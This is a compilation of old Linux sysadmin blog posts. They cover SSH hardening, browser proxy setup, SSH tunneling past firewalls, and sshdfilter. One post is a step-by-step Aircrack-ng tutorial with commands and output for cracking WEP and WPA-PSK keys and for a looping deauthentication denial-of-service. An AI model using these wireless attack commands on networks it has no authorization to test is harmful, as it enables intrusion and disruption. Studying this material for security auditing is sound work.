Similarly, you may want to change the port that the SSH daemon binds to. Sometimes there is a functional need for this (ie, your employer blocks outbound 22/tcp) but there is also security-through-obscurity value in this as well. While not providing any real security benefit against a determined attacker, moving the SSH daemon off of port 22 protects you against automated attacks which assume that the daemon is running on port 22.

To have OpenSSH bind to a port other than port 22, 31337 in the example below, locate the following line in your sshd_config file:

Port 22

and change the 22 to 31337:

Port 31337

To verify that this change took, restart OpenSSH and, again, look at netstat:

# netstat -anp | grep sshd

tcp 0 0 192.168.0.1:31337 0.0.0.0:* LISTEN 330/sshd

Finally, to SSH into a host whose SSH daemon is listening on a non-standard port, use the -p option:

ssh -p 31337 user@192.168.0.1

Using TCP Wrappers

TCP Wrappers are used to limit access to TCP services on your machine. If you haven't heard of TCP Wrappers you've probably heard of /etc/hosts.allow and /etc/hosts.deny: these are the two configuration files for TCP Wrappers. In the context of SSH, TCP Wrappers allow you to decide what specific addresses or networks have access to the SSH service.

To use TCP Wrappers with SSH you need to make sure that OpenSSH was built with the -with-tcp-wrappers. This is the case on any modern distribution.

As I indicated earlier, TCP Wrappers are configured by editing the /etc/hosts.deny and /etc/hosts.allow files. Typically you tell hosts.deny to deny everything, then add entries to hosts.allow to permit specific hosts access to specific services.

An example:

#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
ALL: ALL
#
# hosts.allow This file describes the names of the hosts which are
# allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
sshd: 207.46.236. 198.133.219.25

In the example above, access to SSH is limited to the network 207.46.236.0/24 and the address 198.133.219.25. Requests to any other service from any other address are denied by the "ALL: ALL" in hosts.deny. If you try to SSH into a machine and TCP Wrappers denies your access, you'll see something like this:

ssh_exchange_identification: Connection closed by remote host

This simple configuration change significantly hardens your installation since, with it in place, packets from hostile clients are dropped very early in the TCP session -- and before they can do any real damage to a potentially vulnerable daemon.

Public Key Authentication

The last item I will cover is public key authentication. One of the best things you can do to tighten the security of your SSH installation is to disable password authentication and to use public key authentication instead. Password authentication is suboptimal for many reasons, but mostly because people choose bad passwords and attackers routinely try to brute-force passwords. If the systems administrator has chosen a bad password and he's permitting root logins... game over.

Public key authentication is no silver bullet - similarly, people generate passphrase-less keys or leave ssh-agents running when they shouldn't - but, in my opinion, it's a much better bet.

Just about every distribution ships with public key authentication enabled, but begin by making sure it is:

RSAAuthentication yes
PubkeyAuthentication yes

Both of these options default to "yes" and the "RSAAuthentication" option is for SSHv1 and the "PubkeyAuthentication" option is for SSHv2. If you plan on using this authentication method exclusively, while you're there, you may want to disable password authentication:

PasswordAuthentication no

Before you proceed, make sure you have a terminal open on your target machine. Once you restart the SSH daemon you will no longer be able to log in without a key... which we haven't generated yet!

Once you're sure, restart the SSH daemon:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

Now, from your desktop, try to SSH in to your target machine:

$ ssh rwm@brainy

Permission denied (publickey,keyboard-interactive).

We're locked out! This is a good thing. The next step, on your desktop, is to generate a key:

$ ssh-keygen -t dsa -C "Ryan's SSHv2 DSA Key (Jan 2008)"

Generating public/private dsa key pair.
Enter file in which to save the key (/home/rwm/.ssh/id_dsa):
Enter passphrase (empty for no passphrase): **********
Enter same passphrase again: **********
Your identification has been saved in /home/rwm/.ssh/id_dsa.
Your public key has been saved in /home/rwm/.ssh/id_dsa.pub.
The key fingerprint is:
98:4d:50:ba:ee:8b:79:be:b3:36:75:8a:c2:4a:44:4b Ryan's SSHv2 DSA Key (Jan 2008)

A few notes on this:

  • You can generate a DSA (-t dsa), RSA (-t rsa), or SSHv1 (-t rsa1) key. In the example above I'm using dsa.
  • I like to put the date I generated the key in the comment (-C) field, that way I can change it out every so often.
  • You're entering a passphrase, not a password. Use a long string with spaces and punctuation. The longer and more complicated the better!

The command you just ran generated two files - id_dsa, your private key and id_dsa.pub, your public key. It is critical that you keep your private key private, but you can distribute your public key to any machines you would like to access.

Now that you have generated your keys we need to get the public key into the ~/.ssh/authorized_keys file on the target machine. The best way to do this is to copy-and-paste it - begin by concatenating the public key file:

$ cat .ssh/id_dsa.pub

ssh-dss AAAAB3NzaC1kc3MAAACBAL7p6bsg5kK4ES9BWLPCNABl20iQQB3R0ymaPMHK...
... ds= Ryan's SSHv2 DSA Key (Jan 2008)

This is a very long string. Make sure you copy all of it and that you do NOT copy the newline character at the end. In other words, copy from the "ssh" to the "2008)", but not past that.

The next step is to append this key to the end of the ~/.ssh/authorized_keys file on your target machine. Remember that terminal I told you to keep open a few steps ago? Type the following command into it, pasting the key you've just copied into the area noted KEY:

echo "KEY" >> ~/.ssh/authorized_keys

For example:

echo "ssh-dss AAAA5kS9BWLPCN...s= Ryan's SSHv2 DSA Key (Jan 2008)" >> ~/.ssh/authorized_keys

Now, try to SSH in again. If you did this procedure correctly then instead of being denied access, you'll be prompted for your passphrase:

$ ssh rwm@brainy

Enter passphrase for key '/home/rwm/.ssh/id_dsa':
Last login: Thu Jan 10 14:37:14 2008 from papa.engardelinux.org
[rwm@brainy ~]$


Mozilla: View Browser Configuration

jbrown 17 February, 2008 16:38 General Permalink Trackbacks (0)
View Browser Configuration:

List available options. Type the URL: about:config

This will allow you to modify the advanced configuration options found in the various Mozilla configuration files. Right click on the value to alter and a dialog box will appear to allow changes.

 

Mozilla about:config

The preferences are stored in the file /home/user-id/.mozilla/firefox/..../prefs.js.

 


Mozilla / Firefox Environment Variables:

Environment Variable Description
MOZILLA_FIVE_HOME Home directory path for browser
MOZILLA_PLUGIN_PATH Directory path for browser plug-ins.
(Often $MOZILLA_FIVE_HOME/plugins)

 


Proxy Configuration:

 

Proxy configuration: Many corporate networks rely on SOCKS proxy servers for access to the internet. Typically a Proxy Auto Configuration (PAC) script is issued to be registered with the browser. These scripts are usually targeted to Microsoft Explorer of Netscape Navigator (4.x) specifically. Try the proxy script: "Edit" + "Preferences" and select "Advanced (+)" and "Proxies" + "Automatic proxy configuration URL", enter the script location and select the "Reload" button. If it works, great your ready to surf. If your corporation uses a proxy directly, enter it under "Manual proxy configuration". If using a script and it does not work, use the command "wget http://proxy-url.domain.com/proxy-script.pac" to download the proxy script. Examine the file proxy-script.pac. Burried in the logic of the script is usually the explicit listing of a proxy server which can be entered under the Mozilla manual configuration. If you are at a corporation using a firewall and have direct access, I'm jealous and you have no need for proxy configuration.

 


Firefox Extensions:

Firefox extensions are supplemental programs which are installed within Firefox from the Mozilla web site. Extensions are available for Blogging, Web Developer Tools, Dictionaries, Download Tools, Editing and Forms, Image Browsing, Kiosk Browsing Languages, Message Reading, Navigation, News Reading, Privacy and Security, Search Tools, Website Integration, XUL Applications, ...

To add an extension:

  1. Allow the extensions website to install software: Select "Edit" + "Preferences" (or "Tools" + "Options" on newer systems)

     

    Check "Allow web site to install software" then
    press the corresponding "Allowed Sites" button.
    Enter the "allowed" site.
  2. Select and install an extension: Select "Tools" + "Extensions" + "Get more extensions".
    This brings up a web page from which you may choose the extension which suits your needs.

Using Ssh Tunneling And A Remote Proxy

jbrown 17 February, 2008 16:33 Linux Permalink Trackbacks (0)
Using ssh tunneling and a Remote Proxy:

You can create an ssh tunnel to a remote system and use the remote system as a proxy.

Local system: Connect to remote system using ssh and dynamic port forwarding.

ssh -D port-number login-id@remote-node
Example:
ssh -D 9999 user1@node6.mega-corp.com
This establishes a connection to the remote node and configures traffic on local port 9999 to be forwarded to the remote system which acts as a proxy and fulfill the network request.

Mozilla/SeaMonkey Configuration:

  • Select "Edit" + "Preferences..."
  • On the left hand side of the window select and expand on the browser tree "Advanced" + "Proxies"
  • Select "Manual Proxy Configuration"
  • Select "SOCKS V4"
  • Set entries:
    • Socks Host: localhost
    • Port: 9999

Remote system: The service sshd must be running.

Browser requests will be forwarded to local port 9999 through ssh to the remote node which will fulfill the request. I have tried this for http web request as well as e-mail POP3 inbound mail and SMTP outbound mail and it works!


Breaking Firewalls With OpenSSH And PuTTY

jbrown 17 February, 2008 12:05 Penetration Permalink Trackbacks (0)

Breaking Firewalls with OpenSSH and PuTTY

If the system administrator deliberately filters out all traffic except port 22 (ssh), to a single server, it is very likely that you can still gain access other computers behind the firewall. This article shows how remote Linux and Windows users can gain access to firewalled samba, mail, and http servers. In essence, it shows how openSSH and PuTTY can be used as a VPN solution for your home or workplace, without monkeying with the firewall. This article is NOT suggesting you close port 22. These step are only possible given valid accounts on all servers. But, read on, you may be surprised what you can do, without punching additional holes through the firewall -- punching additional holes is a bad idea.

OpenSSH and Linux

From the Linux laptop 192.168.1.106, it is possible to get access to the resources behind the firewall directly, including SAMBA server, HTTP Server, and Mail Server which are blocked from the outside by the firewall. The firewall only permits access to the SSH Server via port 22; yet, as you will see, it is possible to get access to the other servers.

Linux diagram

The SSH Server is seen as 66.35.250.203 from the outside. To tunnel traffic through the SSH Server, from the Linux laptop 192.168.1.106, create the following "~/.ssh/config" file, on the Linux laptop.

~/.ssh/config

## Linux Laptop .ssh/config ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

Host http
HostName localhost
        User donkey
        Port 22000
        HostKeyAlias localhosthttp

This file must have the following rights.

  $  chmod 600 ~/.ssh/config

Take a look again at the file above. Note the entry for "LocalForward 22000 192.168.0.66:22", and compare this to the network diagram. The connection to the SSH Server is made by running the command below, from the Linux laptop (192.168.1.106).

 $ ssh -l sporkey 66.35.250.203

Quick hint: the above command can be shortened, since the user name "sporkey" and the "HostName" are already specified in the config file. Therefore, you can use "ssh work" as shown below.

 $ ssh work

After this connection is made, it is possible to access the HTTP Server directly, assuming the account donkey has access to this server. The following command below is executed on the Linux laptop (192.168.1.106). Yes, that is on the Linux laptop in a new window. Again, this will be executed from 192.168.1.106 in a new session. So note here the Linux laptop is getting direct access to (192.168.0.66). Reference the diagram above. This is the "localhost" of the Linux laptop -- you got this, right? The ssh sessions are initiated from the Linux laptop.

  $ ssh -l donkey localhost -p 22000

Since the config file maps "http" to localhost port 2200, the above command can be shortened to the following:

  $ ssh http

Wait, there is a better way. Instead of creating two terminal sessions, one for "ssh work", then, another one for "ssh http", why not put it all together in one command.

   $ ssh -N -f -q work;ssh http

The above command will establish the connection to work, forwarding the necessary ports to the other servers. The "-N" is for "Do not execute remote command", the "-f" requests ssh to go to the background, and "-q" is to suppress all warnings and diagnostic messages. So, still not short enough for you? Then create an alias, alias http='ssh -N -f -q work;ssh http' and put that in your "~.bashrc" file, which is about as short as you can get, since typing http on the command line would get you to the HTTP server.

To copy files to this server, the command below is used. Note uppercase "-P" follows "scp". If you are in the ".ssh" directory you will see an "authorized_keys2" and maybe an "authorized_keys", which you may want to append to the like files on the destination server. These files are only listed as an example. Any file could be copied; but, if you copy these files to the remote server and append the contents to the remote server's authorized_key* files, then, you will not be prompted for a password the next time you make a connection. See Tip 12 in Linux Tips. You will need to create an authorized_keys2 and authorized_keys file with all the public keys of the computers that will connect. Below, assume you have these keys in the currently directory on the laptop, and you want to copy this to the HTTP Sever [192.168.0.66]. The keys go in "~/.ssh/authorized_keys2" for ssh2. Again, take a look at Linux Tips . You do not want to write over any existing keys.

 $ scp -P 22000 authorized_keys* donkey@localhost:./.ssh/.

But, because you have everything in the "config" file, you can shorten the above command to the following:

 $ scp authorized_keys* http:./.ssh/.

The following command, executed from the Linux laptop, will download the web page from the remote server (192.168.0.66).

 $ wget http://localhost:20000/

Linux Laptop becomes Company Web Server -- Power of RemoteForward

Suppose the Linux laptop is running a web server. Is it possible for the people in the company to view this, the web server on the laptop (192.168.1.106), when they attach to HTTP Server (192.168.0.66)? Absolutely. Think about this because what is being suggested here is that a laptop, with no direct access to the HTTP server, is actually going to take over the company web server. Yes, that is exactly what will be shown here; although, instead of taking over the company web server, which is running on port 80 of (192.168.0.66), you will see how to add an additional web server on port 20080. However, if you are intent upon taking over the company web server, you would have to perform similar steps as root, since only root has the ability to take over the privileged ports. But, start with this example first, then, you'll see how to do this on port 80. To perform this magic, the "/etc/ssh/sshd_config", on the company web server (192.168.0.66), must have the variable "GatewayPorts" set to "yes", otherwise, only the users logged into HTTP Server will be able to see the laptop's web page. Instead, we want everyone in the company to have direct access to the added port.

 GatewayPorts yes

After making the change, you will need to restart sshd.

 $ /etc/init.d/sshd restart

In the Linux laptop's "~/.ssh/config" add the following entry RemoteForward 20080 localhost:80 so that the complete "~/.ssh/config" is shown below.

## Updated Linux Laptop .ssh/config  ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

Host http
HostName localhost
        User donkey
        Port 22000  
        RemoteForward 20080 localhost:80
        HostKeyAlias localhosthttp

If you perform a "netstat -l" from 192.168.0.66, the remote company web server, you should see the following:

 tcp  0  0 *:20080 *:*  LISTEN

This means that anyone, in the company, can view this webpage http://192.168.0.66:20080/ on port 20080. If you wanted port 80, the default http port, the connected user would have to have root privileges.

If you did not change the "/etc/ssh/sshd_config" file, "GatewayPorts" defaults to "no". And executing a "netstat -l" (that's an ell), would return the following:

 tcp   0 0 ::1:20080 *:* LISTEN

With the above restrictions, only users on the computer 192.168.0.66 would see the webpage on 192.168.1.106 from port 20080. This is what happens by default, since "GatewayPorts" is set to no.

By the way, did you figure out what the HostKeyAlias command does? If you make multiple localhost entries in your config file without HostKeyAlias, .ssh/known_hosts will contain multiple entries for "localhost" with different keys. Try it without HostKeyAlias and it should bark at you.

For references on generating ssh key pairs, securing an ssh server from remote root access, and samba mounts through an ssh tunnel see (TIP 12, TIP 13, and TIP 138) in Linux Tips listed at the end of this article. In addition,if you are a system administrator, may want to take note of (TIP 14), keeping yearly logs, and (TIP 26), which shows how to kill a user and all their running processes. In addition, the following (TIP 10, TIP 11, TIP 15, TIP 24, TIP 47, TIP 52, TIP 89, TIP 104, TIP 148, and TIP 150) may help with system security.

 


PuTTY for WindowsXP

From your Windows XP laptop, you want access to the following resources behind a firewall "SSH server", "Mail Server", and "HTTP Server". The only port allowed in is ssh, port 22, to the "SSH Server". So, how do you get access, from the laptop to the other resources using an ssh tunnel?

Network Diagram


Step 1: (Download PuTTY)

Download putty.exe and plink.exe. Although plink.exe is not needed, it provides some handy features you may end up using later.

I normally put the files in "c:/bin", then, add this directory to the path.

 


Step 2: (Load the IP Address of Your Server)

Substitute the IP address 66.35.250.203 for the IP address of your ssh server and save it. Note 66.35.250.203 really is sourceforge, so unless you're access projects on sourceforge, you probably want a different IP address.

Initial ssh

 


Step 3: (Create the Necessary Tunnels)

There are 2 additional servers you need access to. The "HTTP server" 192.168.0.66, and "Mail server" 192.168.0.5. Click on Tunnel and fill in the following values. The HTTP server works on port 80, so enter 80 in the Source port. The destination is 192.168.0.60:80. Hit "Add" to commit this entry.

Initial ssh

Your listing should be similar to the following. Make sure each entry has an "L" listed in front of it. Local port 25 will now go to server 192.168.0.5 on port 25. But, ports 110 and 25 will go to server 192.168.0.5.

Review ssh


Step 4: (Testing the Connection)

If you now open your ssh connection, click on "Sourceforge", or whatever you name it, then, you can browse the data on the "HTTP Server" by filling in local host at the browser. It makes sense to "Check" the connection at this stage -- remember to put in the correct IP addresses for your server.

browser ssh

 


Step 5: (Setting up Mail)

Mozilla Thunderbird is an excellent mail package. It will work in place of Microsoft Outlook, when connect to your work's Exchange, Postfix, or Sendmail server.

The server location is localhost. And notice the option below to "Leave messages on server". If you have another email client on your workstation at work, then, you might want to keep the mail on the server.

thunderbird


Step 6: (Getting Access to Samba Shares -- Loopback Adapter)

From the Windows XP computer, you want to add a Micosoft loopback Adapter. From the control panel, follow the steps below. By the way, it is possible to add more than one adapter.

  1.  Yes, I already connected the hardware 
  2.  Add a new hardware device (bottom of menu)
  3.  Install the hardware that I manually select from a list (Advanced)
  4.  Select Network Adapters
  5.  Micosoft Loopback Adapter

selectloopback

Once the adapter is added, you must assign an IP address. The first adapter will be assigned 10.0.0.1, the second will be assigned 10.0.0.2, etc. DO NOT enter a "Default gateway".

Loopback1

The second adapter will have the IP address 10.0.0.2. Remember, there are two samba servers in the network diagram. Both the HTTP server and the SAMBA server have samba shares. Again, DO NOT enter a "Default gateway".

Loopback1

The loopback Adapters should appear in the control panel

finalloop.jpg


Step 7: (Getting Access to Samba Shares -- SSH Configuration Settings)

Now you want to go back into the Putty configuration. In the "Source port" text box, yes it is small, enter 10.0.0.1:139; but note, the image below only shows 0.0.1:139 because it has scrolled to the left. Also, enter 192.168.0.66:139 for the destination address. When done, click "Add".

puttyloopbackup1

The completed entry should look like the following:

puttyloopbackupc

You can repeat the same procedure above for more samba shares, if you want. Although not shown, the same procedure is used for 10.0.0.2:139; but, it will have a destination of 192.168.0.8. Again, there are two samba shares in the network diagram.

 


Step 8: (Getting Access to Samba Shares -- View It)

To view the samba share, click Start/Run and type in 10.0.0.1

sambaview.png


Special Note

You will probably have to reboot. Also, read and download the following patch from Microsoft.

Also, disable File and Printer Sharing for Microsoft Networks for both adapters.

Disable NetBIOS over TCP/IP; but, make sure LMHosts Lookup is enabled.

 


DOWNLOADS

OpenSSH
www.openssh.org

PuTTY
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Other Links

http://souptonuts.sourceforge.net/sshtips.htm


Aircrack-Ng (WEP, WPA-PSK Crack)

jbrown 17 February, 2008 12:02 Penetration Permalink Trackbacks (0)

Aircrack-ng (WEP, WPA-PSK Crack)

Aircrack is a set of tools for auditing wireless networks:

  • airodump: 802.11 packet capture program
  • aireplay: 802.11 packet injection program
  • aircrack: static WEP and WPA-PSK key cracker
  • airdecap: decrypts WEP/WPA capture files

    Install Madwifi Driver

    This installation will install madwifi driver with patch aircrack.
  • Download driver and patch. First, download the latest patch, and then download the corresponding version of driver.
    # get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch
    # get http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz 
    
  • Install
    # tar zxvf madwifi-ng-r1679-20060707.tar.gz
    # cd madwifi-ng-r1679-20060707/
    # patch -Np1 -i ../madwifi-ng-r1679.patch
    # make
    # make install
    # mod_probe ath_pci
    
  • Create a new interface from wifi0. This might be required only for madwifi-ng driver. This creates ath1 monitor mode.
    # wlanconfig ath1 create wlandev wifi0 wlanmode monitor
    

    Install aircrack-ng

  • Download aircrack-ng from http://www.aircrack-ng.org/
  • Compile and install
    # tar zxvf aircrack-ng-0.6.tar.gz
    # cd aircrack-ng-0.6/
    # make
    # make install
    # modprobe ath_pci
    
  • Find wireless AP
    # iwlist ath0 scan
    ath0      Scan completed :
              Cell 01 - Address: 00:03:2F:23:96:68
                        ESSID:"hoge1"
                        Mode:Master
                        Frequency:2.412 GHz (Channel 1)
                        Quality=56/94  Signal level=-39 dBm  Noise level=-95 dBm
                        Encryption key:on
                        Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                                  12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
                                  48 Mb/s; 54 Mb/s
                        Extra:bcn_int=100
                        IE: WPA Version 1
                            Group Cipher : TKIP
                            Pairwise Ciphers (1) : TKIP
                            Authentication Suites (1) : PSK
                        Extra:ath_ie=dd0900037f0101000eff7f
              Cell 02 - Address: 00:03:2F:23:92:64
                        ESSID:"hoge2"
                        Mode:Master
                        Frequency:2.437 GHz (Channel 6)
                        Quality=12/94  Signal level=-83 dBm  Noise level=-95 dBm
                        Encryption key:on
                        Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                                  12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
                                  48 Mb/s; 54 Mb/s
                        Extra:bcn_int=100
                        IE: WPA Version 1
                            Group Cipher : TKIP
                            Pairwise Ciphers (1) : TKIP
                            Authentication Suites (1) : PSK
                        Extra:ath_ie=dd0900037f01010017ff7f
    
  • Create a new interface from wifi0. This might be required only for madwifi-ng driver. This creates ath1 monitor mode.
    # wlanconfig ath1 create wlandev wifi0 wlanmode monitor
    
  • Use aurodump-ng to look the network
    # airodump-ng ath1
    
     CH 13 ][ Elapsed: 28 s ][ 2006-08-12 15:32
    
     BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
    
     00:03:2F:23:96:68  150       65       72   1  54. WPA   hoge1
     00:03:2F:23:92:64  101        4        0   6  54. WEP?  hoge2
    
     BSSID              STATION            PWR  Packets  Probes
    
     00:03:2F:23:96:68  00:0F:A3:1C:C4:31  140        7
     00:03:2F:23:96:68  00:0F:A3:1C:C4:3E  134        5
     00:03:2F:23:96:68  00:0F:A3:1C:C4:48  132       10  hoge1
     00:03:2F:23:96:68  00:0F:A3:11:02:C7  120       11  hoge1
    
    This result shows some access points and clients associated with APs

    Crack WEP

    How to capture (airodump) (WEP)

    1. For this example, a PrismGT card is used. It is recognized as eth0. But other card may be ath0 or something else.
    2. Change to monitor mode
      # airmon-ng
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54
      
      # airmon-ng start eth0
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54 (monitor mode enabled)
      
    3. Search WLANs. 0 to hop between channels.
      # airodump-ng eth0 out 0
      
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:0D:0B:98:96:7F   48        2        0  11  54  WEP?  4B18E8C83ABD
       00:A0:B0:40:5C:84   87       13       16   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84  00:04:23:52:80:41   86        4  HOGE
      
    4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE), and specify 1 to only cature unique WEP IVs. It saves space.
      # airodump-ng eth0 out 1 1
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:A0:B0:40:5C:84   87       36       48   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84   00:04:23:52:80:41   87       38  HOGE
      

    Fake authentication (aireplay) (WEP)

    1. We will use airoeplay to inject packets, so we can capture packets easily. Open another console. Copy BSSID and paste as,
      # aireplay-ng -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 eth0
      12:14:06  Sending Authentication Request
      12:14:06  Authentication successful
      12:14:06  Sending Association Request
      12:14:07  Association successful :-)
      
      If it cannot associate, use station's MAC,
      # aireplay-ng -1 0 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
      Some access points require to reassociate every 20 seconds, otherwise the fake client is considered disconnected. In this case, setup the periodic re-association delay:
      # aireplay-ng -1 20 -e HOGE -a 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
    2. Once associated, send packets as following. If you are not associated, you see no send packet.
      # aireplay-ng -3 -b 00:A0:B0:40:5C:84 -h 0:1:2:3:4:5 -x 600 eth0
      Saving APR requests in replay_arp-1112-031550.cap
      You must also start airodump to capture replies.
      Read 39123 packets (got 1024 APR requests), sent 24543 packets...
      
    3. If it stoped sending, you need to associate again. Consider setup of the periodic re-association delay. I used crontab to re-associate again and again.

    How to crack (aircrack) (WEP)

    1. Open a new console, and type following command. Aircrack can read the updated file automatically so you can run airodump and aircrack at the same time.
      # aircrack-ng -x -0 out.ivs
      

    2. For 104bit WEP needs about one million IVs. You may need one day or more time to capture the packets. However if you use aireplay and inject, you need only few hours.
    3. This is the result. It needed only a quarter a million.
    4. Aircrack can also run on Windows but aireplay is not supported though.

    Connect to the target WLAN (WEP)

    1. Once you find the key, as XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX, use it to connect to the WLAN.
      # iwconfig eth0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
      # dhcocd eth0
      # ifconfig eth0
      eth0      Link encap:UNSPEC  HWaddr 00-0A-79-18-35-7A-0A-00-00-00-00-00-00-00-00-00
                inet addr:192.168.0.12  Bcast:192.168.0.255  Mask:255.255.255.0
                inet6 addr: fe80::20a:79ff:fe18:357a/64 Scope:Link
                UP BROADCAST RUNNING  MTU:1500  Metric:1
                RX packets:330521 errors:0 dropped:0 overruns:0 frame:0
                TX packets:157988 errors:3 dropped:0 overruns:0 carrier:0
                collisions:0 txqueuelen:1000
                RX bytes:24164635 (23.0 Mb)  TX bytes:9864176 (9.4 Mb)
                Interrupt:11
      # ping google.com
      PING google.com (72.14.207.99) 56(84) bytes of data.
      64 bytes from 72.14.207.99: icmp_seq=1 ttl=234 time=203 ms
      64 bytes from 72.14.207.99: icmp_seq=2 ttl=234 time=201 ms
      

    WPA-PSK (Pre-shared key) Attack

    How to capture (airodump) (WPA-PSK)

    1. For this example, PrismGT card is used. It is recognize as eth0. But other card may be ath0 or something.
    2. Change to monitor mode
      # airmon-ng
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54
      
      # airmon-ng start eth0
      usage: /usr/local/sbin/airmon-ng   [channel]
      Interface       Chipset         Driver
      eth0            PrismGT         prism54 (monitor mode enabled)
      
    3. Search WLANs. 0 to hop between channels.
      # airodump-ng eth0 out 0
      
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:0D:0B:98:96:7F   48        2        0  11  54  WEP?  4B18E8C83ABD
       00:A0:B0:40:5C:84   87       13       16   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84  00:04:23:52:80:41   86        4  HOGE
      
    4. Press Ctl+c. Next we will capture only channel 1 (ESSID HOGE). Capture all packets. Don't specify another 1.
      # airodump-ng eth0 out 1
       BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID
      
       00:A0:B0:40:5C:84   87       36       48   1  54  WEP   HOGE
      
       BSSID              STATION            PWR  Packets  ESSID
      
       00:A0:B0:40:5C:84   00:04:23:52:80:41   87       38  HOGE
      

    WPA Handshake capture (airoplay) (WPA-PSK)

    Capture WPA handshakes by forcing clients to reauthenticate. It can also be used to generate ARP requests as Windows clients sometimes flush their ARP cache when disconnected. This attack is totally useless if there are no associated wireless clients.
    1. WPA Handshake capture
      # aireplay-ng -0 5 -a 00:A0:B0:40:5C:84 -c 00:04:23:52:80:41 eth0
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      00:43:41  Sending DeAuth to station   -- STMAC: [00:04:23:52:80:41]
      
    2. ARP request generation (optional) if above does not work.
      # aireplay-ng -0 10 -a 00:A0:B0:40:5C:84 eth0
      # aireplay-ng -3 -b 00:A0:B0:40:5C:84 -h 00:04:23:52:80:41 eth0
      
      After sending the five deauthentication packets, it starts listening for APR requests with attack 3. The -h option is necessary and must be the MAC address of an associated client.
    3. Mass denial-of-service (MDOS) attack
      # aireplay-ng -0 0 -a 00:A0:B0:40:5C:84 eth0
      
      With parameter 0, this attack will loop forever sending deauthentication packets to the broadcast address, thus preventing clients from staying connected.

    Dictionary attack (airoplay) (WPA-PSK)

    1. Download dictionaries. i.e from http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/
    2. Make a dictionary.
      # zcat all.gz | egrep -v '^#' > dic
      
    3. If you do not have a handshake packet, you cannot continue, so you do aireplay -0 again.
      # aircrack-ng -w dic -0 out.cap
      
      Opening out.cap
      Read 154839 packets.
      
         #  BSSID              ESSID                     Encryption
      
         1  00:A0:B0:40:5C:84  HOGE                      WPA (1 handshake)
         2  00:02:2D:C2:38:AF                            Unknown
      
      Index number of target network ? 1
      
    4. Once you find a handshake packet, you can stop airodump.
    5. Yes, you find it! For this, I actually used Windows because my Linux is running an ancient Pentium II 300kHz! Only this process needs CPU power, so I used my Windows (Celeron 3GHz). It actually took less than three minutes, though.

    Note: In my experience, using Aircrack is the best tool compare to others. Aircrack on Linux supports packet injection which means we can increase the traffic, so we need only few hours to capture sufficient packets. Otherwise you will need several days.

    Here is other my reports.

    ToolOSCPU usageEncryption802.NIC SupportPacket injectionMy recommendation
    Airsnort
    (note)
    WindowsHighWEP11bFewNot supportedLow
    Airsnort
    (note)
    LinuxHighWEP11bFewNot supportedLow
    Aircrack
    (note)
    WindowsLowWEP, WPA11a/b/gManyNot supportedMid
    AircrackLinuxLowWEP, WPA11a/b/gManySupported!Recommended!
  • *Information is provide for educational purposes only*


    Sshdfilter V1.4.5 -- Ssh Brute Force Attack Blocker

    jbrown 17 February, 2008 11:54 Linux Permalink Trackbacks (0)

    -- sshdfilter V1.4.5 --
    ssh brute force attack blocker


    Introduction

    sshdfilter blocks the frequent brute force attacks on ssh daemons, it does this by directly reading the sshd logging output and generating iptables rules, the process can be quick enough to block an attack before they get a chance to enter any password at all.

    sshdfilter starts sshd itself, having started sshd with the -e and -D options. This means it can see events as they happen. sshdfilter then looks for lines of the form:
    Did not receive identification string from x.x.x.x
    Illegal user x from x.x.x.x
    Failed password for illegal user x from x.x.x.x port x ssh2
    Failed password for x from x.x.x.x port x ssh2

    The former three instantly trigger sshdfilter into creating iptables rules which block all ssh access from that IP. The latter failure is given a few chances before it too is blocked. These are in fact example rules, the exact wording varies between Linux distributions, so sshdfilter exists as a base program and groups of patterns for each distribution.

    All new rules are inserted into a custom chain, and to prevent the chain from becoming overloaded with old rules, rules over a week old are deleted.

